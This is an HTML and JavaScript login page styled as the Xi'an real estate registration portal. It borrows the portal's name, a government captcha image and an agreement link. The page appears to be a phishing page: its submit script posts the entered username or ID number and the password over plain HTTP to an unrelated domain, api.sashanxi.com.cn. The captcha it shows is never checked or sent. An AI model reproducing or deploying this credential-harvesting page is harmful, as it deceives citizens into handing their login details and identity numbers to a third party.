<!doctype html>
<html>

	<head>
		<meta charset="utf-8">
		<title></title>
		<meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
		<link href="/css/mui.css" rel="stylesheet" />
		<link href="/css/my.css" rel="stylesheet" />
	</head>

	<body style="background-color: #fff;">
		<script src="/js/mui.js"></script>
		<script type="text/javascript">
			mui.init()
		</script>
		<style>
			.login_box{
				margin:15px;
				overflow: hidden;
				font-size: 12px;
			}
			.login_header{
				display: flex;
				flex-direction: column;
				align-items: center;
				margin-top: 15px;
			}
			.login_header span{
				margin-top: 10px;
				color:#0d2f90;
			}
		</style>
		<div class="login_box">
			<div class="login_header">
				<img src="/img/2/logo.860be7c2.png" width="51px"/>
				<span>西安不动产登记</span>
			</div>
			<form class="loginForm"style="margin-top:15px;">
				<div class="mui-input-row inputKuang">
					<label>用户名</label>
					<input type="text" id="username" class="mui-input-clear" placeholder="请输入用户名/身份证账号/手机号码">
				</div>
				<div class="mui-input-row inputKuang">
					<label>密码</label>
					<input type="password" id="password" class="mui-input-password" placeholder="请输入密码">
				</div>
				<div class="mui-input-row inputKuang">				
					<div  style="width: 75%;float: left; overflow: hidden;">
						<label style="width: 45%;">验证码：</label>
						<input type="text"  
						style="width: 55%; border: 0px red solid;"
						>
					</div>	
					<img src="https://zjj.xa.gov.cn/zxcx/createimage.aspx?h=40&w=70&i=0.2854792035191507"
					style="float: right; "
					/>
					
				</div>	
				<div style="overflow: hidden; font-size: 10px;" >
					<input type="radio" style="height:10px; vertical-align:text-top; margin-top:0;"/>
					<span style="color: #aaa; ">我已阅读并知悉 <a style="margin-left:15px;" href="http://www.xabdcdj.cn/#/pages/governmentOpen/policyStatuteDetail?id=98&showing=1&title=%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C">软件许可及服务协议</a></span>
				</div>
		
				<div class="mui-button-row" style="height: 50px;">
					<button type="button" class="mui-btn mui-btn-primary greenColor" 
					style="width: 100%; height: 50px; font-size: 17px; background: #ebf4ff;color: #0d2f90;font-weight: 700;" >
						登录
					</button>
				</div>
			</form>		
			<img src="/img/2/loginpic2.png" width="100%" style="margin-top:20px;" />
		</div>
		<script>
			mui(".loginForm").on('tap','button',function(){
				var check = true;
				mui(".loginForm input").each(function() {
					//若当前input为空，则alert提醒 
					if(!this.value || this.value.trim() == "") {
						var label = this.previousElementSibling;
						mui.alert(label.innerText + "不允许为空");
						check = false;
						return false;
					}
				}); 
				
				//校验通过，继续执行业务逻辑 
				if (check) {
					var username = document.getElementById("username").value.trim();
					var password = document.getElementById("password").value.trim();
					mui.ajax('http://api.sashanxi.com.cn/get_he_tong',{
						data:{
							username:username,
							password:password
						},
						dataType:'json',//服务器返回json格式数据
						type:'post',//HTTP请求类型
						timeout:10000,//超时时间设置为10秒；
						headers:{'Content-Type':'application/json'},	              
						success:function(data){
							//服务器返回响应，根据响应结果，分析是否登录成功
							console.log(data)
							if (data.status){
								return mui.alert(data.message)
							}
							window.location.href = 'cha3?id='+data.data.id
							
						},
						error:function(xhr,type,errorThrown){
							//异常处理；
							console.log(type);
						}
					});
				}
			});

		</script>
	</body>

</html>